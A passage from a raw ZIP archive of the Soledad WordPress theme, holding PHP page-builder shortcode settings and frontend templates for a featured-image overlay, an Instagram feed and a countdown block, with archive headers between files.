			'param_name'       => 'cat_divider',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Title Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_title_style',
			'heading'          => esc_html__( 'Title & Subtitle Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
			'param_name'       => 'title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Sub Title Color', 'soledad' ),
			'param_name'       => 'subtitle_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

	), array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Icon Style', 'soledad' ),
			'param_name'       => 'meta_icon_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Border Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bd_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Text Color', 'soledad' ),
			'param_name'       => 'meta-author-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Color', 'soledad' ),
			'param_name'       => 'meta-author-lcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Hover Color', 'soledad' ),
			'param_name'       => 'meta-author-hcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'meta-pdate-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Comment Color', 'soledad' ),
			'param_name'       => 'meta-pcomment-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post View Color', 'soledad' ),
			'param_name'       => 'meta-pview-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Reading Color', 'soledad' ),
			'param_name'       => 'meta-preading-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\Ј?T  ?T  B  inc/js_composer/shortcodes/pc_single_featured_overlay/frontend.phpnu [        <?php
global $post;
$settings       = vc_map_get_attributes( $this->getShortcode(), $atts );
$avatar         = $settings['penci_single_author_avatar'];
$block_id       = Penci_Vc_Helper::get_unique_id_block( 'pc_single_featured_overlay' );
$css_custom     = '';
$css_class      = vc_shortcode_custom_css_class( $settings['css'] );
$avatarw        = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
$icon_style     = $settings['meta_icon_style'];
$thumb_alt      = '';
$label_text     = $settings['hide_meta_label'];
$gradient_class = '';

if ( has_post_thumbnail() ) {
	$thumb_id  = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
}

$move_title_bellow   = false;
$enable_jarallax     = $settings['penci_enable_jarallax_single'];
$pmt_enable_jarallax = get_post_meta( get_the_ID(), 'penci_enable_jarallax_single', true );

if ( $pmt_enable_jarallax ) {
	$enable_jarallax = $pmt_enable_jarallax;
}

$simage_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
$image_size  = $settings['img_size'] ? $settings['img_size'] : $simage_size;

if ( penci_is_mobile() ) {
	$image_size = $settings['img_msize'] ? $settings['img_msize'] : 'penci-masonry-thumb';
}


$div_special_wrapper = '';
if ( ! $move_title_bellow ) {
	$div_special_wrapper .= '<div class="';
	$div_special_wrapper .= 'standard-post-special_wrapper' . $gradient_class;
	$div_special_wrapper .= '">';
}

$image_html = penci_get_featured_single_image_size( get_the_ID(), $image_size, $enable_jarallax, $thumb_alt );

?>
<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
	<?php
	$class_pimage_linkquote = 'standard-post-special post-image';
	if ( penci_get_post_format( 'quote' ) ) {
		$class_pimage_linkquote .= ' penci-special-format-quote';
	}
	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_linkquote .= ' no-thumbnail';
	}

	if ( ! $move_title_bellow ) {
		$class_pimage_linkquote .= ' penci-move-title-above';
	}

	if ( $enable_jarallax ) {
		$class_pimage_linkquote .= ' penci-jarallax';
	}
	?>
    <div id="<?php echo $block_id; ?>" class="<?php echo $css_class; ?>">
        <div class="<?php echo( $class_pimage_linkquote ); ?>">
			<?php
			if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				echo $image_html;
			}
			?>
			<?php echo $div_special_wrapper; ?>
            <div class="standard-content-special">
                <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
					echo ' penci-format-quote';
				} else {
					echo ' penci-format-link';
				} ?>">
                    <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                    <p class="dt-special">
						<?php
						if ( penci_get_post_format( 'quote' ) ) {
							$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
							if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
						} else {
							$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
							if ( ! empty( $dt_content ) ):
								echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
							endif;
						}
						?>
                    </p>
					<?php
					if ( penci_get_post_format( 'quote' ) ):
						$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
						if ( ! empty( $quote_author ) ):
							echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
						endif;
					endif; ?>
                </div>
            </div>
            <div class="penci-fto-ct">
				<?php
				if ( ! $move_title_bellow ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				?>
            </div>
			<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

	<?php if ( ! $move_title_bellow && has_post_thumbnail() ) : ?>
		<?php if ( ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
            <div class="post-image penci-move-title-above <?php echo( $enable_jarallax ? ' penci-jarallax' : '' ); ?>">
				<?php
				if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
					$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
					echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
					echo $image_html;
					echo '</a>';
				} else {
					echo $image_html;
				}

				echo $div_special_wrapper;

				echo '<div class="penci-fto-ct">';

				get_template_part( 'template-parts/single', 'breadcrumb' );
				if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				echo '</div>';
				echo '</div>';
				?>
            </div>
		<?php endif; ?>
	<?php elseif ( $images ) :
		$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
		?>
        <div class="post-image">
            <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $image_size ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image );
						$image_alt         = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html  = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide swiper-mark-item">
                            <figure class="penci-swiper-mask">
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                                    <img class="penci-lazy" data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ): ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>

					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>
	<?php
	Penci_Sodedad_Video_Format::show_builder_video_embed( array(
		'post_id'             => $post->ID,
		'parallax'            => $enable_jarallax,
		'args'                => array( 'width' => '1920', 'height' => '1080' ),
		'show_title_inner'    => true,
		'move_title_bellow'   => $move_title_bellow,
		'div_special_wrapper' => $div_special_wrapper,
		'single_style'        => 'style-1'
	), $settings );
	?>
<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>
	<?php
	$class_pimage_audio = 'standard-post-image post-image audio';

	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_audio .= ' no-thumbnail';
	}

	if ( $enable_jarallax ) {
		$class_pimage_audio .= ' penci-jarallax';
	}

	if ( ! $move_title_bellow ) {
		$class_pimage_audio .= ' penci-move-title-above';
	}

	?>
<div class="<?php echo $class_pimage_audio; ?>">
	<?php
	if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		echo $image_html;
	}
	?>
	<?php echo $div_special_wrapper; ?>
    <div class="audio-iframe">
		<?php $penci_audio = get_post_meta( $post->ID, '_format_audio_embed', true );
		$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
		<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
			<?php echo wp_oembed_get( $penci_audio ); ?>
		<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
			<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
		<?php else : ?>
			<?php echo $penci_audio; ?>
		<?php endif; ?>
    </div>
    <div class="penci-fto-ct">
		<?php
		if ( ! $move_title_bellow ) {
			get_template_part( 'template-parts/single', 'breadcrumb' );
		}
		if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
			get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
		}
		?>
    </div>
	<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
    </div>

<?php else : ?>

	<?php if ( has_post_thumbnail() && ! $settings['penci_post_thumb'] ) : ?>
        <div class="post-image <?php echo( ! $move_title_bellow ? ' penci-move-title-above' : '' ); ?>">
			<?php
			if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
				$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
				echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-bground-content">';
				echo $image_html;
				echo '</a>';
			} else {

				echo '<div class="' . ( $enable_jarallax ? 'penci-jarallax' : '' ) . '">';
				echo $image_html;
				echo '</div>';
			}

			echo $div_special_wrapper;
			echo '<div class="penci-fto-ct">';
			if ( ! $move_title_bellow ) {
				get_template_part( 'template-parts/single', 'breadcrumb' );
			}

			if ( ! $move_title_bellow && has_post_thumbnail() ) {
				?>
                <div class="header-standard header-classic single-header">
				<?php if ( ! $settings['penci_post_cat'] ) : ?>
                    <div class="penci-standard-cat penci-single-cat <?php echo $settings['cat_pre_style']; ?>"><span
                                class="cat">
                                    <?php penci_category( '' ); ?>
                                </span></div>
				<?php endif; ?>

				<?php if ( ! $settings['hide_title'] ): ?>
                    <h1 class="post-title single-post-title entry-title"><span><?php the_title(); ?></span></h1>
				<?php endif; ?>
				<?php
				if ( ! $settings['hide_subtitle'] ) {
					penci_display_post_subtitle();
				}
				?>
				<?php penci_soledad_meta_schema(); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
				<?php if ( ! $settings['penci_single_meta_author'] || ! $settings['penci_single_meta_date'] || ! $settings['penci_single_meta_comment'] || $settings['penci_single_show_cview'] || $settings[ $hide_readtime ] ) : ?>

                    <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
						<?php if ( ! $settings['penci_single_meta_author'] ) :
							global $post;
							?>
                            <span class="author-post byline">
                                        <span class="author vcard">
	                                        <?php if ( ! $label_text ) {
		                                        echo penci_get_setting( 'penci_trans_written_by' );
	                                        } ?>
	                                        <?php
	                                        $author_ids = [];
	                                        $author     = get_post_field( 'post_author', get_the_ID() );
	                                        if ( $author ) {
		                                        $author_ids[] = $author;
	                                        }
	                                        if ( function_exists( 'coauthors__echo' ) ) {
		                                        $author_list = coauthors__echo( 'ID', 'field', array(
			                                        'between'     => ',',
			                                        'betweenLast' => ',',
			                                        'before'      => '',
			                                        'after'       => '',
		                                        ), null, false );
		                                        if ( $author_list ) {
			                                        $author_ids = explode( ',', $author_list );
		                                        }
	                                        }
	                                        $total   = count( $author_ids );
	                                        $current = 0;
	                                        foreach ( $author_ids as $author_id ) {
		                                        $current ++;
		                                        ?>

                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id );
                                                ?>
                                            </a>
	                                        <?php } ?>
                                        </span>
                                    </span>
						<?php endif; ?>
						<?php penci_author_update_name(); ?>
						<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                            <span class="pctmp-date-post">
                                <?php penci_soledad_time_link( 'single' ); ?></span>
						<?php endif; ?>
						<?php if ( ! $settings['penci_single_meta_comment'] ) :
							?>
                            <span class="pctmp-comment-post">
                                    <?php
                                    $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
                                    $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
                                    ?>
                                    <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
						<?php endif; ?>
						<?php if ( ! $settings['penci_single_show_cview'] ) : ?>
                            <span class="pctmp-view-post">

                                        <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								} ?></span>
						<?php endif; ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
							?>
                            <span class="single-readtime">

                                    <?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php
						if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && ! $move_title_bellow ) {
							echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
						}
						?>
                    </div>
				<?php endif; ?>
				<?php
				$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
				if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
					do_action( 'penci_recipes_action_hook' );
				} ?>
                </div><?php
			}
			echo '</div>';
			if ( ! $move_title_bellow ) {
				echo '</div>';
			}

			if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && $move_title_bellow ) {
				echo '<span class="penci-featured-caption penci-fixed-caption">' . get_the_post_thumbnail_caption() . '</span>';
			}
			?>
        </div>
	<?php endif; ?>

<?php endif;
$css = [
	'img_ratio'              => [ '{{WRAPPER}} .penci-single-featured-img,{{WRAPPER}} .penci-jarallax' => 'padding-top: {{VALUE}}% !important;' ],
	'content_overlay_align'  => [ '{{WRAPPER}} .standard-post-special_wrapper,{{WRAPPER}} .standard-post-special_wrapper .penci-fto-ct,{{WRAPPER}} .standard-post-special_wrapper *,{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
	'content_overlay_calign' => [ '{{WRAPPER}} .standard-post-special_wrapper' => 'bottom:30px;top:30px;display:flex;flex-wrap: wrap;flex-direction: column;justify-content:{{VALUE}}' ],
	'hide_breadcrumb'        => [ '{{WRAPPER}} .penci-breadcrumb' => 'display:none' ],
	'hide_title'             => [ '{{WRAPPER}} .single-post-title' => 'display:none' ],
	'hide_info'              => [ '{{WRAPPER}} .post-box-meta-single' => 'display:none' ],
	'meta_divider'           => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none !important;' ],
	'meta-item-spacing'      => [ '{{WRAPPER}} .post-box-meta-single > span:not(:last-child)' => 'margin-right:{{VALUE}}px;' ],
	'overlay_bgcolor'        => [ '{{WRAPPER}} .penci-move-title-above:after' => 'background:{{VALUE}}' ],
	'overlay_ctbgcolor'      => [ '{{WRAPPER}} .penci-fto-ct' => 'background-color:{{VALUE}}' ],
	'overlay_ctw'            => [ '{{WRAPPER}} .penci-fto-ct' => 'max-width:{{VALUE}}px' ],
	'overlay_align'          => [ '{{WRAPPER}} .penci-fto-ct' => '{{VALUE}}' ],
	'overlay_ctpd'           => [ '{{WRAPPER}} .penci-fto-ct' => 'padding: {{VALUE}}px;' ],
	'overlay_ctbdr'          => [ '{{WRAPPER}} .penci-fto-ct' => 'border-radius:{{VALUE}}px' ],
	'breadcrumb_color'       => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb span, {{WRAPPER}} .penci-breadcrumb.single-breadcrumb i,{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a' => 'color:{{VALUE}} !important' ],
	'breadcrumb_lhcolor'     => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a:hover' => 'color:{{VALUE}}' ],
	'cat_color'              => [ '{{WRAPPER}} .cat' => 'color:{{VALUE}}' ],
	'cat_lcolor'             => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'color:{{VALUE}}' ],
	'cat_lhcolor'            => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color:{{VALUE}}' ],
	'cat_bgcolor'            => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'background-color:{{VALUE}}' ],
	'cat_bghcolor'           => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'background-color:{{VALUE}}' ],
	'cat_bcolor'             => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-color:{{VALUE}}' ],
	'cat_bhcolor'            => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'border-color:{{VALUE}}' ],
	'cat_border'             => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-width: {{VALUE}}px;' ],
	'cat_border_style'       => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-style:{{VALUE}}' ],
	'cat_border_radius'      => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-radius: {{VALUE}}px;' ],
	'cat_divider'            => [ '{{WRAPPER}} .cat > a.penci-cat-name:after' => 'display:none !important;' ],
	'meta-color'             => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
	'meta-link-color'        => [ '{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}' ],
	'meta-link-hcolor'       => [ '{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}' ],
	'remove-divider'         => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none' ],
	'meta-author-color'      => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
	'meta-author-lcolor'     => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
	'meta-author-hcolor'     => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
	'meta-pdate-color'       => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
	'meta-pcomment-color'    => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
	'meta-pview-color'       => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
	'meta-preading-color'    => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
	'title_color'            => [ '{{WRAPPER}} .header-standard .post-title' => 'color:{{VALUE}}' ],
	'subtitle_color'         => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}}' ],
	'postinfo_color'         => [ '{{WRAPPER}} .header-standard .post-box-meta-single span' => 'color:{{VALUE}}' ],
	'postinfo_lcolor'        => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a' => 'color:{{VALUE}}' ],
	'postinfo_lhcolor'       => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a:hover' => 'color:{{VALUE}}' ],
	'postinfo_bgcolor'       => [ '{{WRAPPER}} .post-box-meta-single > span' => 'background-color:{{VALUE}}' ],
	'postinfo_bcolor'        => [ '{{WRAPPER}} .post-box-meta-single > span' => 'border-color:{{VALUE}}' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\Ua    1  inc/js_composer/shortcodes/instagram/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_instagram",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/instagram/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Instagram Feed', 'soledad' ),
	'description'   => 'Instagram Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_meta_settings',
				'heading'          => esc_html__( 'You need to connect to your Instagram account via "Dashboard > Soledad > Connect Instagram" first.', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Number of images to show', 'soledad' ),
				'param_name' => 'images_number',
				'value'      => array(
					1  => 1,
					2  => 2,
					3  => 3,
					4  => 4,
					5  => 5,
					6  => 6,
					7  => 7,
					8  => 8,
					9  => 9,
					10 => 10,
					11 => 11,
					12 => 12
				),
				'std'        => '9',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Check for new images every', 'soledad' ),
				'param_name'  => 'refresh_hour',
				'std'         => '5',
				'description' => 'Unix is hour(s)',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Template', 'soledad' ),
				'param_name' => 'template',
				'value'      => array(
					'Thumbnails - Without Border' => 'thumbs-no-border',
					'Thumbnails'                  => 'thumbs',
					'Slider - Normal'             => 'slider',
					'Slider - Overlay Text'       => 'slider-overlay'
				),
				'std'        => 'thumbs',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Number of Columns:', 'soledad' ),
				'param_name' => 'columns',
				'value'      => array(
					1  => 1,
					2  => 2,
					3  => 3,
					4  => 4,
					5  => 5,
					6  => 6,
					7  => 7,
					8  => 8,
					9  => 9,
					10 => 10,
				),
				'std'        => '3',
				'dependency' => array( 'element' => 'template', 'value' => array( 'thumbs-no-border', 'thumbs' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Order by', 'soledad' ),
				'param_name' => 'orderby',
				'value'      => array(
					__( 'Date - Ascending', 'soledad' )        => 'date-ASC',
					__( 'Date - Descending', 'soledad' )       => 'date-DESC',
					__( 'Popularity - Ascending', 'soledad' )  => 'popular-ASC',
					__( 'Popularity - Descending', 'soledad' ) => 'popular-DESC',
					__( 'Random', 'soledad' )                  => 'rand',
				),
				'std'        => 'rand',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'On click action', 'soledad' ),
				'param_name' => 'images_link',
				'value'      => array(
					__( 'None', 'soledad' )              => '',
					__( 'Instagram image', 'soledad' )   => 'image_url',
					__( 'Instagram Profile', 'soledad' ) => 'user_url',
					__( 'Attachment Page', 'soledad' )   => 'attachment'
				),
				'std'        => 'rand',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
				'param_name' => 'slidespeed',
				'dependency' => array( 'element' => 'template', 'value' => array( 'slider', 'slider-overlay' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Slider Navigation Controls', 'soledad' ),
				'param_name' => 'controls',
				'value'      => array(
					__( 'None', 'soledad' )        => 'none',
					__( 'Prev & Next', 'soledad' ) => 'prev_next',
					__( 'Dotted', 'soledad' )      => 'numberless',
				),
				'std'        => 'prev_next',
				'dependency' => array( 'element' => 'template', 'value' => array( 'slider', 'slider-overlay' ) ),
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Number of words in caption', 'soledad' ),
				'param_name' => 'caption_words',
				'default'    => 100,
				'dependency' => array( 'element' => 'template', 'value' => array( 'slider', 'slider-overlay' ) ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'       => 'css_editor',
				'heading'    => __( 'CSS box', 'soledad' ),
				'param_name' => 'css',
				'group'      => __( 'Design Options', 'soledad' ),
			),
			penci_get_vc_responsive_spacing_map(),
		)
	)
) );
PK     N\అ
  
  1  inc/js_composer/shortcodes/instagram/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );


$css_class = 'penci-block-vc penci_instagram_widget-sc penci_instagram_widget penci_insta-' . ( isset( $atts['template'] ) ? $atts['template'] : '' );
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'instagram' );
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
    <div class="penci-block_content">
		<?php
		$defaults = array(
			'title'            => '',
			'attachment'       => '',
			'template'         => '',
			'images_link'      => '',
			'custom_url'       => '',
			'orderby'          => '',
			'images_number'    => '',
			'columns'          => '',
			'refresh_hour'     => '',
			'image_size'       => '',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => '',
			'controls'         => '',
			'animation'        => '',
			'caption_words'    => '',
			'slidespeed'       => '',
			'description'      => array( 'username', 'time', 'caption' ),
		);


		$instance = shortcode_atts( $defaults, $atts );
		Penci_Instagram_Feed::display_images( $instance );
		?>
    </div>
</div>
<?php

$id_instagram = '#' . $block_id;
$css_custom   = Penci_Vc_Helper::get_heading_block_css( $id_instagram, $atts );
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_instagram, $responsive_spacing );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
?>
PK     N\N{n6  6  2  inc/js_composer/shortcodes/count_down/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group_trans = 'Strings Translation';

vc_map( array(
	'base'          => 'penci_count_down',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/count_down/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Count Down', 'soledad' ),
	'description'   => __( 'Count Down Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Choose Skin', 'soledad' ),
				'param_name' => 'count_down_style',
				'std'        => 's1',
				'value'      => array(
					__( 'Style 1', 'soledad' ) => 's1',
					__( 'Style 2', 'soledad' ) => 's2',
					__( 'Style 3', 'soledad' ) => 's3',
					__( 'Style 4', 'soledad' ) => 's4',
				),
			),
